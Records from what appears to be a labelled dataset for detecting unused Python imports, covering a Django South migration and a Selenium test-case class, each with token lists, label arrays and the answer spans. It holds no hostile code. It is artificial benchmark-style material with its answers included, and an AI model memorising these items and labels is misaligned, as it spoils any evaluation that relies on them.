2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
scieloorg/scielo-manager/scielomanager/maintenancewindow/migrations/0001_initial.py
[ { "content": "# -*- coding: utf-8 -*-\nfrom south.utils import datetime_utils as datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Migration(SchemaMigration):\n\n\n\n\n\n models = {\n 'maintenancewindow.event': {\n 'Meta': {'ordering': \"['begin_at', 'title']\", 'object_name': 'Event'},\n 'begin_at': ('django.db.models.fields.DateTimeField', [], {}),\n 'description': ('django.db.models.fields.TextField', [], {}),\n 'end_at': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True'}),\n 'event_report': ('django.db.models.fields.TextField', [], {'blank': 'True'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'is_blocking_users': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'db_index': 'True'}),\n 'is_finished': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'title': ('django.db.models.fields.CharField', [], {'max_length': '128'})\n }\n }\n\n complete_apps = ['maintenancewindow']", "metadata": "root.Migration", "header": "['module', '___EOS___']", "index": 7 }, { "content": " def forwards(self, orm):\n # Adding model 'Event'\n db.create_table('maintenancewindow_event', (\n ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('title', self.gf('django.db.models.fields.CharField')(max_length=128)),\n ('begin_at', self.gf('django.db.models.fields.DateTimeField')()),\n ('end_at', self.gf('django.db.models.fields.DateTimeField')(db_index=True)),\n ('description', self.gf('django.db.models.fields.TextField')()),\n ('is_blocking_users', self.gf('django.db.models.fields.BooleanField')(default=False, db_index=True)),\n ('is_finished', self.gf('django.db.models.fields.BooleanField')(default=False)),\n ('event_report', self.gf('django.db.models.fields.TextField')(blank=True)),\n ))\n db.send_create_signal('maintenancewindow', ['Event'])", "metadata": "root.Migration.forwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 9 }, { "content": " def backwards(self, orm):\n # Deleting model 'Event'\n db.delete_table('maintenancewindow_event')", "metadata": "root.Migration.backwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 24 } ]
[ { "span": "from south.utils import datetime_utils as datetime", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 50 }, { "span": "from django.db import models", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 28 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "south_", "._", "utils_", "import_", "datetime", "\\u", "utils_", "as_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "db_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "v2_", "import_", "Schema", "Migration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "models_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "maintenance", "window", ".", "event", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"[", "'", "begin", "\\u", "at", "',", " ", "'", "title", "']\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Event", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "begin", "\\u", "at", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "description", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "end", "\\u", "at", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "db", "\\u", "index", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "event", "\\u", "report", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "blockin", "g", "\\u", "users", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "db", "\\u", "index", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "finish", "ed", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "128", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "\\u", "apps_", "=_", "[_", "'", "maintenance", "window", "'_", "]_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "forwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Add", "ing", " ", "model", " ", "'", "Event", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "create", "\\u", "table_", "(_", "'", "maintenance", "window", "\\u", "event", "'_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "id", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ")_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "title", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ")_", "(_", "max", "\\u", "length_", "=_", "128_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "begin", "\\u", "at", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ")_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "end", "\\u", "at", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ")_", "(_", "db", "\\u", "index_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "description", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ")_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "is", "\\u", "blockin", "g", "\\u", "users", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ")_", "(_", "default_", "=_", "False_", ",_", "db", "\\u", "index_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "is", "\\u", "finish", "ed", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ")_", "(_", "default_", "=_", "False_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "event", "\\u", "report", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ")_", "(_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "send", "\\u", "create", "\\u", "signal_", "(_", "'", "maintenance", "window", "'_", ",_", "[_", "'", "Event", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "backwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "model", " ", "'", "Event", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "delete", "\\u", "table_", "(_", "'", "maintenance", "window", "\\u", "event", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
Element-34/py.saunter/saunter/testcase/webdriver.py
[ { "content": "# Copyright 2011 Element 34\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\n===============\nSaunterTestCase\n===============\n\"\"\"\nimport json\nimport logging\nimport os\nimport os.path\nimport requests\nimport sys\n\nimport saunter.ConfigWrapper\n\n\nimport saunter.browser\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium.common.exceptions import TimeoutException\nfrom saunter.exceptions import ProfileNotFound\nfrom selenium.webdriver.remote.webelement import WebElement\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom saunter.testcase.base import BaseTestCase\nfrom selenium.webdriver import FirefoxProfile\nimport py.test\nfrom _pytest.mark import MarkInfo\nimport saunter.saucelabs\n\nfrom saunter.matchers import Matchers\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class SaunterTestCase(BaseTestCase):\n \"\"\"\n Parent class of all script classes used for custom asserts (usually 'soft' asserts) and shared fixture setup\n and teardown\n \"\"\"\n\n\n", "metadata": "root.SaunterTestCase", "header": "['module', '___EOS___']", "index": 43 }, { "content": " def setup_method(self, method):\n \"\"\"\n Parent class of all script classes used for custom asserts (usually 'soft' asserts) and shared fixture setup\n and teardown\n \"\"\"\n self.cf = self.config = saunter.ConfigWrapper.ConfigWrapper()\n\n self.current_method_name = method.__name__\n\n default_browser = self.cf[\"browsers\"][self.cf[\"saunter\"][\"default_browser\"]]\n self.browser = saunter.browser.Browser(default_browser, self.cf)\n self.driver = self.browser.driver\n\n if hasattr(self.browser, 'proxy'):\n self.proxy = self.browser.proxy\n\n if \"sauce labs\" in self.cf[\"browsers\"][self.cf[\"saunter\"][\"default_browser\"]] and \\\n self.cf[\"browsers\"][self.cf[\"saunter\"][\"default_browser\"]][\"sauce labs\"][\"ondemand\"] and \\\n hasattr(self.driver, \"session_id\"):\n s = saunter.saucelabs.SauceLabs(self.cf[\"sauce labs\"][\"username\"], self.cf[\"sauce labs\"][\"key\"])\n s.update_name(self.driver.session_id, self.current_method_name)\n\n self.verificationErrors = []\n self.matchers = Matchers(self.driver, self.verificationErrors)\n\n self._screenshot_number = 1", "metadata": "root.SaunterTestCase.setup_method", "header": "['class', 'SaunterTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 48 }, { "content": " def teardown_method(self, method):\n \"\"\"\n Default teardown method for all scripts. If run through Sauce Labs OnDemand, the job name, status and tags\n are updated. Also the video and server log are downloaded if so configured.\n \"\"\"\n if hasattr(self, \"config\"):\n if \"sauce labs\" in self.cf[\"browsers\"][self.cf[\"saunter\"][\"default_browser\"]] and \\\n not self.cf[\"browsers\"][self.cf[\"saunter\"][\"default_browser\"]][\"sauce labs\"][\"ondemand\"] \\\n and self.cf[\"saunter\"][\"screenshots\"][\"on_finish\"]:\n self.take_named_screenshot(\"final\")\n\n if hasattr(self, \"driver\"):\n self.driver.quit()\n\n if hasattr(self.browser, 'proxy'):\n self.config['saunter']['proxies'].append(self.proxy)", "metadata": "root.SaunterTestCase.teardown_method", "header": "['class', 'SaunterTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 75 }, { "content": " def take_numbered_screenshot(self):\n if self.config.has_option(\"Saunter\", \"take_screenshots\"):\n if self.cf.getboolean(\"Saunter\", \"take_screenshots\"):\n method_dir = self._screenshot_prep_dirs()\n\n self.driver.get_screenshot_as_file(os.path.join(method_dir, str(self._screenshot_number).zfill(3) + \".png\"))\n self._screenshot_number = self._screenshot_number + 1\n\n if self.config.has_option(\"Saunter\", \"jenkins\"):\n if self.cf.getboolean(\"Saunter\", \"jenkins\"):\n sys.stdout.write(os.linesep + \"[[ATTACHMENT|%s]]\" % image_path + os.linesep)", "metadata": "root.SaunterTestCase.take_numbered_screenshot", "header": "['class', 'SaunterTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 92 }, { "content": " def take_named_screenshot(self, name):\n method_dir = self._screenshot_prep_dirs()\n\n image_path = os.path.join(method_dir, str(name) + \".png\")\n self.driver.get_screenshot_as_file(image_path)\n\n if \"ci_type\" in self.cf and self.cf[\"ci_type\"].lower() == \"jenkins\":\n sys.stdout.write(os.linesep + \"[[ATTACHMENT|%s]]\" % image_path + os.linesep)", "metadata": "root.SaunterTestCase.take_named_screenshot", "header": "['class', 'SaunterTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 104 } ]
[ { "span": "import json", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 11 }, { "span": "import logging", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 14 }, { "span": "import requests", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 15 }, { "span": "from selenium.webdriver.common.by import By", "start_line": 29, "start_column": 0, "end_line": 29, "end_column": 43 }, { "span": "from selenium.common.exceptions import WebDriverException", "start_line": 30, "start_column": 0, "end_line": 30, "end_column": 57 }, { "span": "from selenium.common.exceptions import TimeoutException", "start_line": 31, "start_column": 0, "end_line": 31, "end_column": 55 }, { "span": "from saunter.exceptions import ProfileNotFound", "start_line": 32, "start_column": 0, "end_line": 32, "end_column": 46 }, { "span": "from selenium.webdriver.remote.webelement import WebElement", "start_line": 33, "start_column": 0, "end_line": 33, "end_column": 59 }, { "span": "from selenium.webdriver.common.desired_capabilities import DesiredCapabilities", "start_line": 34, "start_column": 0, "end_line": 34, "end_column": 78 }, { "span": "from selenium.webdriver import FirefoxProfile", "start_line": 36, "start_column": 0, "end_line": 36, "end_column": 45 }, { "span": "import py.test", "start_line": 37, "start_column": 0, "end_line": 37, "end_column": 14 }, { "span": "from _pytest.mark import MarkInfo", "start_line": 38, "start_column": 0, "end_line": 38, "end_column": 33 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2011", " ", "Element", " ", "34_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "==============", "=", "\\", "10", ";", "Sau", "nter", "Test", "Case", "\\", "10", ";", "==============", "=", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "requests_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sau", "nter", "_", "._", "Config", "Wrapper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sau", "nter", "_", "._", "browser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "selenium_", "._", "webdriver_", "._", "common_", "._", "by_", "import_", "By_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "selenium_", "._", "common_", "._", "exceptions_", "import_", "Web", "Drive", "r", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "selenium_", "._", "common_", "._", "exceptions_", "import_", "Time", "out", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sau", "nter", "_", "._", "exceptions_", "import_", "Profil", "e", "Not", "Found_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "selenium_", "._", "webdriver_", "._", "remote_", "._", "web", "element_", "import_", "Web", "Element_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "selenium_", "._", "webdriver_", "._", "common_", "._", "desi", "red", "\\u", "capabilities_", "import_", "Des", "ired", "Capabilities", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sau", "nter", "_", "._", "testcase_", "._", "base_", "import_", "Base", "Test", "Case_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "selenium_", "._", "webdriver_", "import_", "Fire", "fox", "Profile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "py_", "._", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "\\u", "pytest_", "._", "mark_", "import_", "Mark", "Info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sau", "nter", "_", "._", "sau", "cel", "abs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "sau", "nter", "_", "._", "matchers_", "import_", "Match", "ers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Sau", "nter", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Parent", " ", "class", " ", "of", " ", "all", " ", "script", " ", "classe", "s", " ", "used", " ", "for", " ", "custom", " ", "asserts", " ", "(", "usual", "ly", " ", "'", "soft", "'", " ", "asserts", ")", " ", "and", " ", "shared", " ", "fixture", " ", "setup", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "tear", "down", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Sau", "nter", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "setup", "\\u", "method_", "(_", "self_", ",_", "method_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Parent", " ", "class", " ", "of", " ", "all", " ", "script", " ", "classe", "s", " ", "used", " ", "for", " ", "custom", " ", "asserts", " ", "(", "usual", "ly", " ", "'", "soft", "'", " ", "asserts", ")", " ", "and", " ", "shared", " ", "fixture", " ", "setup", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "tear", "down", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cf_", "=_", "self_", "._", "config_", "=_", "sau", "nter", "_", "._", "Config", "Wrapper_", "._", "Config", "Wrapper_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "current", "\\u", "method", "\\u", "name_", "=_", "method_", "._", "\\u\\u", "name\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "default", "\\u", "browser_", "=_", "self_", "._", "cf_", "[_", "\"", "browsers", "\"_", "]_", "[_", "self_", "._", "cf_", "[_", "\"", "sau", "nter", "\"_", "]_", "[_", "\"", "default", "\\u", "browse", "r", "\"_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "browser_", "=_", "sau", "nter", "_", "._", "browser_", "._", "Browser_", "(_", "default", "\\u", "browser_", ",_", "self_", "._", "cf_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "driver_", "=_", "self_", "._", "browser_", "._", "driver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "self_", "._", "browser_", ",_", "'", "proxy", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "proxy_", "=_", "self_", "._", "browser_", "._", "proxy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "sau", "ce", " ", "labs", "\"_", "in_", "self_", "._", "cf_", "[_", "\"", "browsers", "\"_", "]_", "[_", "self_", "._", "cf_", "[_", "\"", "sau", "nter", "\"_", "]_", "[_", "\"", "default", "\\u", "browse", "r", "\"_", "]_", "]_", "and_", "self_", "._", "cf_", "[_", "\"", "browsers", "\"_", "]_", "[_", "self_", "._", "cf_", "[_", "\"", "sau", "nter", "\"_", "]_", "[_", "\"", "default", "\\u", "browse", "r", "\"_", "]_", "]_", "[_", "\"", "sau", "ce", " ", "labs", "\"_", "]_", "[_", "\"", "onde", "mand", "\"_", "]_", "and_", "hasattr_", "(_", "self_", "._", "driver_", ",_", "\"", "session", "\\u", "id", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "sau", "nter", "_", "._", "sau", "cel", "abs_", "._", "Sau", "ce", "Lab", "s_", "(_", "self_", "._", "cf_", "[_", "\"", "sau", "ce", " ", "labs", "\"_", "]_", "[_", "\"", "user", "name", "\"_", "]_", ",_", "self_", "._", "cf_", "[_", "\"", "sau", "ce", " ", "labs", "\"_", "]_", "[_", "\"", "key", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "update", "\\u", "name_", "(_", "self_", "._", "driver_", "._", "session", "\\u", "id_", ",_", "self_", "._", "current", "\\u", "method", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "verification", "Errors_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "matchers_", "=_", "Match", "ers_", "(_", "self_", "._", "driver_", ",_", "self_", "._", "verification", "Errors_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "screenshot", "\\u", "number_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sau", "nter", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "down", "\\u", "method_", "(_", "self_", ",_", "method_", ")_", ":_", 